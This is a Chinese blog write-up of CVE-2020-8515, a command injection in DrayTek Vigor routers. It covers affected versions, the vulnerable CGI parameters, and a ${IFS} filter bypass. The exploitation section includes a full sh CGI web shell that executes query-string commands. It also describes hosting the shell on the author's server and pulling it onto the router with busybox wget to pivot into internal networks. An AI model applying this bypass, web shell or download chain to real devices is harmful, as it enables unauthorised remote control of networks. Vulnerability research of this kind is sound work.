CVE-2020-8515 漏洞分析与利用

CVE-2020-8515 漏洞分析与利用

3月 31, 2020 阅读 9473 字数 1980 评论 0 喜欢 11

0x00 前言

最近,台湾DrayTek制造的企业级网络设备爆出了RCE,漏洞编号为CVE-2020-8515,主要影响了以下版本:

  • Vigor2960 <v1.5.1
  • Vigor300B <v1.5.1
  • Vigor3900 <v1.5.1
  • VigorSwitch20P2121 <= v2.3.2
  • VigorSwitch20G1280 <= v2.3.2
  • VigorSwitch20P1280 <= v2.3.2
  • VigorSwitch20G2280 <= v2.3.2
  • VigorSwitch20P2280 <= v2.3.2

在FOFA上粗略统计了下,仅Vigor2960、Vigor300B、Vigor3900的路由器就达到了5w多个。

0x01 漏洞分析

以Vigor2960为例,根据GITHUB公开的POC(https://github.com/imjdl/CVE-2020-8515-PoC) 我们不难发现:

漏洞位于二进制文件/cgi-bin/mainfunction.cgi,keyPath参数存在命令注入。

根据阅读360netlab的文章可知,其实存在两个命令注入点。

打开IDA,开始分析,一番F5,命令注入主要发生keyPath,rtick这两个web提交的表单参数,最后通过system执行了命令:

跟进sub_AD58,稍微处理下字符,可以看到这里仅仅将” ` $ | > 空格 ;”替换成了+。

只需要{IFS}即可绕过,详细代码可以参考(https://github.com/imjdl/CVE-2020-8515-PoC)

有意思的是,即使是用一个路由器型号,也会有差异,导致除了keyPath,rtick还有其他地方存在命令注入,感兴趣的师傅可以自己去挖掘,文末给出cgi文件,官网直接可以下载到固件。

0x02 漏洞验证

验证没啥好说的,如下图:

0x03 漏洞利用

如果需要进一步打内网,我们还需要一些额外的利用步骤。

我们可以尝试用RCE写一个稳定的shell:

和常规web不同,这类路由器一般都是cgi的,最开始我尝试的是下载perl的shell。

关于下载:看了下bin文件,发现并没有curl、wget,但是有busybox,我们可以利用busybox来wget下载,而这种路由器一般是出网的。

当我尝试下载perl的cgi脚本后,才发现并不能解析,似乎这个路由器没有perl环境,那我们还可以利用sh,脚本如下:


#!/bin/sh
alias urldecode='sed "s@+@ @g;s@%@\\\\x@g" | xargs -0 printf "%b"'
echo -e "Content-type: text/plain\n"
decoded_str=`echo $QUERY_STRING | urldecode`  //QUERY_STRING:URL中的获取到的查询字符串
echo `$decoded_str`

串联起来就是将busybox链接到当前目录,将脚本host到自己服务器,然后通过调用busybox–>wget下载即可,详情如下图:

当然,前面几步buxybox也可以直接下载msf执行,操作很多,大家可以自行测试

0x04 参考

https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
https://thehackernews.com/2020/03/draytek-network-hacking.html
https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/

0x05 最后

这类路由器、NAS等iot设备漏洞挺多,本着能用就行的开发原则,用类似system执行、拼接命令的不在少数,有固件可以挖到不少东西。

感谢 CoolCat师傅和绿盟M01N实验室 askme765cs师傅的帮助,M01N实验室专注于Red Team、APT等高级攻击技术、战术及威胁研究,招收各路大神,有意请联系我。(这条五毛,发的时候记得删掉)

文中用于IDA分析的两个bin文件下载地址如下:

(ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.14, stripped)

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注